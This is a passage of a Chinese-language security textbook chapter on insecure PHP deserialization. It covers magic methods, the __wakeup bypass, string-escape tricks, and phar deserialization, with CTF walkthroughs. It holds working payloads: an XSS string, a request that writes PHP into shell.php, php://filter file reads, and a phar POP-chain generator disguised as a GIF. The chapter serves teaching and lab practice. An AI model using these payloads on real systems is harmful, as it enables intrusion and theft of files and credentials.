Files
security-book/02.WEB安全/13.不安全的反序列化.md
2025-08-27 14:13:17 +08:00

50 KiB
Raw Blame History

13.不安全的反序列化

1. 简介

序列化就是把一个对象变成可以传输的字符串,目的就是为了方便传输。 反序列化和序列化是两个正好相反的过程。 序列化的目的是方便数据的传输和存储json是为了传递数据的方便性.。 序列化和反序列化本身并不存在问题。但当反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

2. 漏洞产生原理

2.1 序列化与反序列化

首先看下json_encode()json_decode()函数的作用 这边有一个book的数组

'book1'=>'Harry Potter',
'book2'=>'MR.Bean',
'Book3'=>'Python Cookbook',
'Book4'=>'History'

如果我们想传输这个数组怎么办呢,我们就可以请json_encode()这个函数帮助我们将这个数组序列化成一串字符串。

假设我们写了一个class这个class里面存有一些变量。当这个class被实例化了之后在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量如果我们让这个class一直不销毁等着下一次要用它的时候再一次被调用的话浪费系统资源。当我们写一个小型的项目可能没有太大的影响但是随着项目的壮大一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说你可以把这个对象序列化了存成一个字符串当你要用的时候再放他出来就好了。

<?php
$book = array(
    'Book1' => 'Harry Potter',
    'Book2' => 'MR.Bean',
    'Book3' => 'Python Cookbook',
    'Book4' => 'History'
);
$json = json_encode($book);
echo $json;
?>

// {"Book1":"Harry Potter","Book2":"MR.Bean","Book3":"Python Cookbook","Book4":"History"}

如果想要序列化一个对象

<?php
class Democlass
{
    public $name = "Eagle";
    public $sex = "man";
    public $age = 7;

    function eat(){
        echo $this->name . "吃饭";
    }
}

$example = new DemoClass();
$example->name = "haha";
$example->sex = "woman";
$example->age = 18;

echo serialize($example)
?>

// O:9:"Democlass":3:{s:4:"name";s:4:"haha";s:3:"sex";s:5:"woman";s:3:"age";i:18;}

然后如果反序列化回来的话

<?php
class Democlass
{
    public $name = "Eagle";
    public $sex = "man";
    public $age = 7;

    function eat(){
        echo $this->name . "吃饭";
    }
}

$NexExample = unserialize('O:9:"Democlass":3:{s:4:"name";s:4:"haha";s:3:"sex";s:5:"woman";s:3:"age";i:18;}');
echo $NexExample->name;
$NexExample->eat();
?>

// hahahaha吃饭

那如果是对象中的非public属性呢

<?php
class Democlass
{
    public $name;
    protected $sex = "man";
    private $age = 18;

    function eat(){
        echo $this->name . "吃饭";
    }
}

$example = new DemoClass();
$example->name = "haha";

$var = serialize($example);
echo $var;
?>

// O:9:"Democlass":3:{s:4:"name";s:4:"haha";s:6:"*sex";s:3:"man";s:14:"Democlassage";i:18;}

可以发现sex属性前面的长度是6其实protected属性的表示方式是在变量名前加上%00*%00

age是是由属性长度是14其实private属性的表示方式是在变量名前加上%00类名%00

注意:序列化不保存方法

反序列化处的参数用户可控,服务器接收我们序列化后的字符串并且未经过滤把其中的变量放入一些魔术方法里面执行,这就很容易产生漏洞。

2.2 魔术方法

魔术方法命名是以符号开头的,比如 __construct,__destruct,__toString,__sleep,__wakeup等等。这些函数在某些情况下会自动调用。

__construct():具有构造函数的类会在每次创建新对象时先调用此方法。
__destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__toString()方法用于一个类被当成字符串时应怎样回应。例如echo $obj;应该显示些什么。 此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
__sleep()方法在一个对象被序列化之前调用;
__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在则会先调用_wakeup方法预先准备对象需要的资源。
__get(),__set() 当调用或设置一个类及其父类方法中未定义的属性时
__invoke() 调用函数的方式调用一个对象时的回应方法
__call 和__callStatic前者是调用类不存在的方法时执行而后者是调用类不存在的静态方式方法时执行。

运行下面的案例,理解这几个魔术方法的执行顺序

<?php
class Test{
    public function __construct(){
        echo 'construct run<br>';
    }

    public function __destruct(){
        echo 'destruct run<br>';
    }

    public function __toString(){
        echo 'toString run<br>';
        return 'str';
    }

    public function __sleep(){
        echo 'sleep run<br>';
        return array();
    }

    public function __wakeup(){
        echo 'wakeup run<br>';
    }
}

echo 'new了一个对象对象被创建执行__construct<br>';
$test = new Test();

echo 'serialize了一个对象对象被序列化先执行__sleep再序列化<br>';
$sTest = serialize($test);

echo '__wakeup(): unserialize()会检查是否存在一个__wakeup()方法如果存在则会先调用__wakeup方法预先准备对象需要的资源<br>';

?>

// new了一个对象对象被创建执行__construct
// construct run
// serialize了一个对象对象被序列化先执行__sleep再序列化
// sleep run
// __wakeup(): unserialize()会检查是否存在一个__wakeup()方法如果存在则会先调用__wakeup方法预先准备对象需要的资源
// destruct run

再来个简化的版本

<?php
class A
{
    var $a = "a";
    var $b = "b\r\n";

    function __construct()
    {
        $this->a = "123";
        echo "初始化时调用\r\n";
    }

    function __destruct()
    {
        echo "销毁时调用--";
        echo $this->a . "\r\n";
    }
}
$b = new A();
#$ser serialize($b);
#echo $ser;
$ser_test = 'O:1:"A":1:{s:1:"a";s:4:"test";}';
$unser = unserialize($ser_test);
echo $b->b;
?>

// 初始化时调用
// b
// 销毁时调用--test
// 销毁时调用--123

2.3 实例

<?php 
class A{
    var $test = "demo"; 
    function __destruct(){
        echo $this->test;
    } 
} 
$a = $_GET['test']; 
$a_unser = unserialize($a);
?>

构造payload形成反射型xss

http://10.1.0.30:8000/demo1.php?test=O:1:"A":1:{s:4:"test";s:25:"<script>alert(1)</script>";}

image-20240412104543592

3. wakeup绕过

3.1 CVE-2016-7124

<?php
class A{
    var $target = "test";
    function __wakeup(){
        $this->target = "wakeup!";
    }
    function __destruct(){
        $filename = __DIR__ . '/shell.php';
        $fp = fopen($filename,"w");
        fputs($fp,$this->target);
        fclose($fp);
    }
}

$test = $_GET['test'];
$test_unseria = unserialize($test);

echo "shell.php<br/>";
$filename = __DIR__ . '/shell.php';
include($filename);
?>

代码正常的执行逻辑,应该是:unserialize( )会检查是否存在一个__wakeup( )方法。本例中存在,则会先调用__wakeup()方法预先将对象中的target属性赋值为"wakeup!"。注意不管用户传入的序列化字符串中的target属性为何值wakeup()都会把$target的值重置为"wakeup!"。最后程序运行结束,对象被销毁,调用__destruct()方法将target变量的值写入文件shell.php中。这样shell.php文件中的内容就是字符串"wakeup"。

http://10.1.0.30:8000/demo2.php?test=O:1:"A":1:{s:6:"target";s:4:"test";}

image-20240412104553626

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行payload如下

http://localhost:8080/demo2.php?test=O:1:"A":2:{s:6:"target";s:18:"<?php+phpinfo();?>";}

image-20240412104737240

3.2 [网鼎杯 2020 青龙组]AreUSerialz

<?php
 
include("flag.php");
 
highlight_file(__FILE__);
 
class FileHandler {
 
    protected $op;
    protected $filename;
    protected $content;
 
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
 
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
 
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
 
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
 
}
 
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
 
if(isset($_GET{'str'})) {
 
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
 
}

先来理解一下源码:

这里先判断存不存在str传参存在的话先拿去is_valid函数过滤一下,这里is_valid函数的作用是检查一下str字符串里面有没有存在不可打印的字符。ord函数是打印第一个字符的ASCII码必须在32到125之间

然后进入反序列化,这里反序列化后生成一个序列化对象,但是不触发任何函数,然后进程结束,序列化对象销毁,触发__destruct()判断op值如果强等于“2”则把op重置为“1”注意这里的“2”是字符串然后把content置空执行process()函数,进入process()函数后先判断opop等于“1”进入write函数op等于“2”进入read函数write函数实现一个文件写入的功能read函数实现一个文件读取的功能

这里我们需要进入read函数读取flag所以需要让进入process()函数的op值为2但是我们从一开始传入op为“2”时在进入process()函数之前会在__destruct()被重置为1所以我们需要绕过这个重置1

这里我们用到了强等于和弱等于,这里的__destruct函数是==="2",在process()函数里面是=="2"

数字2不强等于字符串2但是数字2弱等于字符串2所以我们可以op设置为数字2在destruct函数时2不强等于“2”所以op不会被重置进入process()函数后op值2弱等于“2”所以进入read函数进行读取flag.php

所以构造poc生成序列化字符串在ctf比赛中可能还需要读取nginx或者apache或者日志文件来获取绝对路径

<?php
class FileHandler {
    public $op = 2;
    public $filename = 'php://filter/read=convert.base64-encode/resource=/www/flag.php';
    public $content = '';
}

$a = new FileHandler();
echo serialize($a);

# O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/read=convert.base64-encode/resource=/www/flag.php";s:7:"content";s:0:"";}?>

生成payload

http://10.1.0.30:8000/?str=
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/read=convert.base64-encode/resource=/www/flag.php";s:7:"content";s:0:"";}

image-20240412104854819把base64进行解码得到flag

4. 反序列化字符逃逸

4.1 前置知识

特点1

php在反序列化时底层代码是以 ; 作为字段的分隔,以 } 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 ,超出的部分并不会被反序列化成功,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。而且可以看到反序列化字符串都是以";}结束的,那如果把";}添入到需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。

特点2

长度不对应会报错

漏洞产生

反序列化之所以存在字符逃逸最主要的原因是代码中存在针对序列化serialize())后的字符串进行了过滤操作(变多或者变少)。

漏洞常见条件

序列化后过滤再去反序列化

4.2 替换后变长

4.2.1 原理分析

替换修改后导致序列化字符串变长

示例代码:

<?php
function filter($str)
{
    return str_replace('bb', 'ccc', $str);
}
class A
{
        public $name = 'aaaabb';
        public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);

?>

这里我们的目的就是间接通过反序列化改变pass的值

我们先理解代码执行顺序,这里是先序列化,然后再用序列化完的字符串进行过滤

所以当name的值为aaaabb的时候过滤完name的值是aaaaccc七个字符但是序列化字符串依然认为name的值是6个所以根据上面前置知识的特性二这里反序列化失败var_dump($c)的结果是bool(false)

// 运行结果
O:1:"A":2:{s:4:"name";s:6:"aaaabb";s:4:"pass";s:6:"123456";}
O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";}
PHP Notice:  unserialize(): Error at offset 33 of 61 bytes in /config/workspace/test.php on line 15
bool(false)

但是我们可以利用特性一去闭合当我们让name的值为";s:4:"pass";s:6:"hacker";}

<?php
function filter($str)
{
    return str_replace('bb', 'ccc', $str);
}
class A
{
        public $name = '";s:4:"pass";s:6:"hacker";}';
        public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>

// O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// object(A)#2 (2) {
//   ["name"]=>
//   string(27) "";s:4:"pass";s:6:"hacker";}"
//   ["pass"]=>
//   string(6) "123456"
// }

首先我们要记得要满足特性一和特性二才能反序列化成功!!!

我们来看生成的字符串O:1:"A":2:&#123;s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}(这里需要理解生成的序列化字符串各个含义)

为什么现在生成的序列化字符串还能反序列化成功呢因为我们的name的值现在认为我们有27个字符串但是现在

image-20240412104913481

(箭头处)是空的所以name只能认为";s:4:"pass";s:6:"hacker";}当作了name的值这个序列化字符串才能成功反序列化。所以我们的pass的值还是输出了123456.但是我们是想把";s:4:"pass";s:6:"hacker";}当作序列化字符串里面的一部分去执行,让pass变成hacker。

所以我们利用到了fileter函数这个过滤函数看似想增加代码的安全性实际上是增加了代码的危险性。

可以看到";s:4:"pass";s:6:"hacker";}是27个字符串所以我们使name的值为

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";},

来分析这27个bb经过第一步序列化后为

O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}

首先这里name的值的字符串数字为81然后看到filter函数过滤后为

O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}

变成了81个c刚好就是原来让name的字符串个数81正确而且;}可以在hacker后面闭合图中箭头所指的;}),这符合了前置知识里面的两个特性,可以成功执行,然后后面的";s:4:"pass";s:6:"123456";}就可以废弃了这便实现了间接修改了pass的值

注:这里序列化后

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}

是name的值81个值

经过filter函数过滤后前54个c就相当于54个b多出来的27个字符c把27个字符";s:4:"pass";s:6:"hacker";}顶到后面了,到这里序列化语句就因为;}截止了且name的字符串数81为81个c符合特性二可以反序列化成功。后面";s:4:"pass";s:6:"123456";}被顶出去废弃了

<?php
function filter($str)
{
    return str_replace('bb', 'ccc', $str);
}
class A
{
        public $name = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}';
        public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>

// O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}
// object(A)#2 (2) {
//   ["name"]=>
//   string(81) "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"
//   ["pass"]=>
//   string(6) "hacker"
// }

总结这里其实就是利用了filter函数可以替换增加字符串每增加一个bb在过滤函数filter替换之后会多一个字符串我们需要构造的payload: ";s:4:"pass";s:6:"hacker";}是27个字符串所以我们加上27个bb是为了多出27个字符

4.2.2 [0CTF 2016]piapiapia

环境搭建

docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:piapia

思路就是目录扫描,然后发现www.zip,明显是网站备份,所以直接下载,然后开始代码审计 查看代码

index.php是用于验证账号密码正确然后跳转到profile.php在profile.php中看到涉及了反序列化函数unserialize(),反序列化的几个变量是上传文件处几个参数

将剩下的几个代码也拿出来分析一下有助于后面的过程要注意在config.php中发现了flag的线索所以下面的目的就是要读取到flag这个文件。

代码逻辑都看完后尝试seay自动审计看看

image-20240412104923877

总结出三处危险函数利用,profile.php处的unserializefile_get_contentsupdate.php的serialize

可以看到这里将变量$profile['photo']中的内容也就是上传的文件读取后进行base64编码我们全局搜索一下这个变量

image-20240412111639379

image-20240412111643492

看到变量$profile['photo']是文件上传控制的但是被经过md5加密了没办法直接传结合反序列化函数和前面看到的filter的那些正则匹配替换函数我们可以试着尝试反序列化的字符逃逸。

先反过来跟踪传输变量$profile的方法update_profile()

image-20240412111648771

这里看到经过过滤后调用update()更新数据,跟踪update()

image-20240412111653328

update()函数是把$profile变量更新放入数据库,到这里追踪就断了

下面追踪一下$profile变量有什么相关代码

image-20240412111529028

image-20240412111701105

可以看到$profile变量是$usershow_profile函数传过来的,跟进去class.phpuser类里面

image-20240412104929894

user类继承了mysql类这里先调用了父类的filter函数。下面看下filter函数在过滤的时候做了什么

image-20240412104935810

这里是替换字符串中的单引号和反斜杠为下划线 并且替换多个字符串为hacker。implode函数是表示把数组拼接起来拼接符是 “|”:

然后show_profile里面又调用了父类的select函数

image-20240412104940792

看到这里的数据库操作就可以和前面断了的链连接起来了

调用链从后往前推为:

update.php接收传参->update_profile()->class.php的update()->数据库操作->class.php的select()->show_profile()->profile.php的file_get_contents()

思路:在 update.php 接收上传文件传参,然后在update_profile()里面执行序列化函数和过滤函数以及update()更新数据库,接着show_profile()通过parent::select()取到$profile变量,并把$object-&lt;profile变量return返回,最后返回的$object-&lt;profile变量在profile.php被赋值给$profile之后反序列化并放到file_get_contents()读取文件

整理好思路后看到序列化函数,反序列化以及过滤函数就可以联系到字符逃逸了。

现在我们需要让file_get_contents()读取config.php,但是变量$profile['photo']被经过md5加密了没办法直接传我们看上他的上一个参数nickname因为这里是序列化之后再经过filter函数替换过滤我这也是字符逃逸的一个关键条件

绕过:

先看看两个过滤处,一个是preg_replace替换函数,一个是正则匹配函数

第一处preg_replace替换:

image-20240412111909708

这里可以看到把selectinsertupdate等字符串替换成hacker其他都是6个字符串和hacker一样并不能让字符串增多但这里有一个where是五个字符串替换成hacker后相当于多了一个字符串如果我们多写几个where就能多出多个字符串多出来的字符串可以构造语句形成字符逃逸。

第二处正则匹配函数:

image-20240412111916939

这里先对它进行了正则这个正则的意思是匹配除了a-zA-Z0-9_之外的字符,因为 “^” 符号是在 “[]” 里面所以是非的意思不是开始的意思preg_match只能处理字符串当传入的subject是数组时会返回false所以我们传入数组可以绕过

这里传数组的payload闭合就和直接传字符串不一样这里数组的payload是";}s:5:"photo";s:10:"config.php";}

而这个payload有34个字符所以我们使用where来让反序列化可以进行

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

随便注册个用户,然后来到文件上传的地方

image-20240412105115298

然后修改nickname

image-20240412105122226

成功拿到flag

image-20240412105126590

因为此处是模拟CTF环境所以flag为空但是看到数据库密码等信息也就意味着成功了

image-20240412105133428

4.3 替换后变短

4.3.1 原理分析

替换之后导致序列化字符串变短

简单示例代码:

<?php
function str_rep($string){
    return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign']; 
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

这段代码是接收了参数name和sign且number是固定的经过了序列化=>正则匹配替换字符串减少=>反序列化的过程后输出结果我们的目的就是通过控制传参name和sign间接改变number

我们继续像上文一样构造在sign中传";s:6:"number";s:4:"2000";}看看闭合

image-20240412105140901

这样子直接加入显然是不行的由于sign的字符串个数为27所以后面横线处的payload被当作了字符串sign的值而没有被当作序列化语句去反序列化所以我们还是需要过滤函数了给我们实现字符逃逸

构造payload?name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}

image-20240412105152043

由于一个填写了6个test所以name的长度就是24所以在sign处随便写点什么来凑数让上图所示部分长度是24即可。当test被替换掉之后就正好让反序列化的规则满足了。

4.3.2 [安洵杯 2019]easy_serialize_php

环境部署

docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:easyserialize

理解一下代码:

先接收一个f的GET传参

filter函数是过滤函数正则匹配替换字符串字符逃逸的条件之一

extract() 函数从数组中将变量导入到当前的符号表(本题的作用是将_SESSION的两个函数变为post传参)

看到传phpinfo提示可能有一些东西进去看看

很明显是要读取这个文件,代码里读取文件的地方在这里:

额,也就是说,$function必须等于show_image

读取的是base64解码后的$userinfo['img']$userinfo的值是$serialize_info的反序列化对象,$serialize_info是经过自定义函数过滤的序列化后的$_SESSION

image-20240412105223497

image-20240412105204320

这个自定义函数filter惹祸了考察了知识点反序列化字符逃逸。

想知道正常的反序列化之后可以复制代码到本地搭建,然后打印序列化后的字符串

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

键名逃逸

源码中存在对序列化后的字符串进行过滤的代码

image-20240412105532357

所以即使键名中存在符合要求的字符串都会被替换

image-20240412105538358

可以对键名进行逃逸

过滤前是这样的(其中ZDBnM19mMWFnLnBocA==d0g3_f1ag.php的base64编码)

a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

过滤后是这样的

a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

对比完发现过滤前键名是phpflag键值是后面48个字符串

过滤后phpflag没了键名就变成了";s:48:但是后面我们构造的img键值对是需要被反序列化的已经是一对了键名";s:48它没有键值,所以我们应该给他一个键值;s:1:"1键值名凑和";s:48:一样七个字符就好了所以我们应该构造payload

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

在源码当中发现新的线索

image-20240412105546336

看到提示我们新路径flag在/d0g3_fllllllag,将/d0g3_fllllllag去base64加密得到L2QwZzNfZmxsbGxsbGFn

image-20240412105552525

键值逃逸

payload

先构造function为a";s:8:"function";s:4:"eval";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

至于为什么有个a看下图选中部分就是想要让flag被替代的部分正好是23个缺1个用a来占位置的

image-20240412105600445

payload为

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"eval";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

image-20240412105606300

获取flag

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"eval";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

image-20240412105610869

5. phar反序列化

5.1 前置知识

phar文件本质上是一种压缩文件会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时会自动反序列化meta-data内的内容。

phar反序列化即在文件系统函数file_exists()、is_dir()等参数可控的情况下配合phar://伪协议可以不依赖unserialize()直接进行反序列化操作。

首先了解一下phar文件的结构一个phar文件由四部分构成

a stub

可以理解为一个标志,格式为xxx&lt;?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾否则phar扩展将无法识别这个文件为phar文件。

a manifest describing the contents

phar文件本质上是一种压缩文件其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data这是上述攻击手法最核心的地方。

Size in bytes Description
4 bytes Length of manifest in bytes (1 MB limit)
4 bytes Number of files in the Phar
2 bytes API version of the Phar manifest (currently 1.0.0)
4 bytes Global Phar bitmapped flags
4 bytes Length of Phar alias
?? Phar alias (length based on previous)
4 bytes Length of Phar metadata (0 for none)
?? Serialized Phar Meta-data, stored in serialize() format注意这一条
at least 24 * number of entries bytes entries for each file

the file contents

被压缩文件的内容。

[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,格式如下:

Length in bytes Description
varying The actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature, and 64 bytes for an SHA512 signature. The length of an OPENSSL signature depends on the size of the private key.
4 bytes Signature flags. 0x0001 is used to define an MD5 signature, 0x0002 is used to define an SHA1 signature, 0x0003 is used to define an SHA256 signature, and 0x0004 is used to define an SHA512 signature. The SHA256 and SHA512 signature support is available as of API version 1.1.0. 0x0010 is used to define an OPENSSL signature, what is available as of API version 1.1.1, if OpenSSL is available.
4 bytes Magic GBMB used to define the presence of a signature.

有序列化数据必然会有反序列化操作php一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化测试后受影响的函数如下

fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

利用方式

首先生成一个phar文件将一个类进行序列化

注意要将php.ini中的phar.readonly选项设置为Off否则无法生成phar文件。

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

然后如下代码就会触发__destruct的方法

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到php识别phar文件是通过其文件头的stub更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

// 查看文件类型,可以看到被识别为图片
// abc@9a0d8215ec46:~/workspace$ file phar.phar 
// phar.phar: GIF image data, version 89a, 16188 x 26736

采用这种方法可以绕过很大一部分上传检测。

漏洞利用条件

  • phar文件要能够上传到服务器端。
  • 要有可用的魔术方法作为“跳板”。
  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

绕过方式

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

5.2 [CISCN2019 华北赛区 Day1 Web1]Dropbox

环境部署

docker run -d -p 80:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:dropbox

进入题目后是一个登录框,可以注册,所以先注册进去看看先不试试注入

image-20240412105622224

可以看到有上传文件和文件删除文件下载功能自然就试试能不能文件下载flag文件但是读不到就先查看index.php文件

不过要注意的是,文件都放在上上级目录了

image-20240412105627247

查看删除部分的代码发现还有个delete.php文件

image-20240412105631368

根据提示查看class.php文件

image-20240412105635601

这个利用点 file_get_contents 没有对关键字进行过滤所以我们肯定是利用这个函数来获取flag 。

首先是定义的 close 函数我们跳转到哪里调用了这个close()

跟进代码看到是User类 的__destrust() 调用了 close()

image-20240412105642427

简单的逻辑 就是: User->__destruct() =>File -> close() -> 读取flag

但是调用了并没有回显

class.php 有一个 __call() 方法可以使用

如果想要读取文件内容肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句; 注意到 User类中在

image-20240412105706986

__destruct时调用了close(),按原逻辑,$db应该是mysqli即数据库对象但是我们可以构造$db指定为 File对象这样就可以读取到文件了。

可读取到文件不能呈现给我们,注意到 __call魔术方法这个魔术方法的主要功能就是如果要调用的方法我们这个类中不存在就会去File中找这个方法并把执行结果存入 $this->results[$file->name()][$func],刚好我们利用这一点:让 $dbFileList 对象,当 $db销毁时触发 __destruct调用close(),由于 FileList没有这个方法于是去 File类中找方法读取到文件存入 results

// 思路是这样的
$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result。

// 通过delete.php将结果返回
__destruct正好会将 $this->results[$file->name()][$func]的内容打印出来

生成payload

<?php
class User {
	public $db;
	public function __construct(){
		$this->db=new FileList(); 
	}
}
 
class FileList {
	private $files;
	private $results;
	private $funcs;
	public function __construct(){
		$this->files=array(new File());  
		$this->results=array();
		$this->funcs=array();
	}
}
 
class File {
	public $filename="/flag.txt";
}
 
$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","test"); //添加压缩文件文件名字为shell.txt,内容为snowy
$phar->stopBuffering();

修改后缀为.gif然后上传

image-20240412105721573

抓取delete.php的数据包修改post提交的数据然后得到flag

image-20240412105726460

6. session反序列化

6.1 前置知识

理解php的session之前先了解一下session是什么

Session

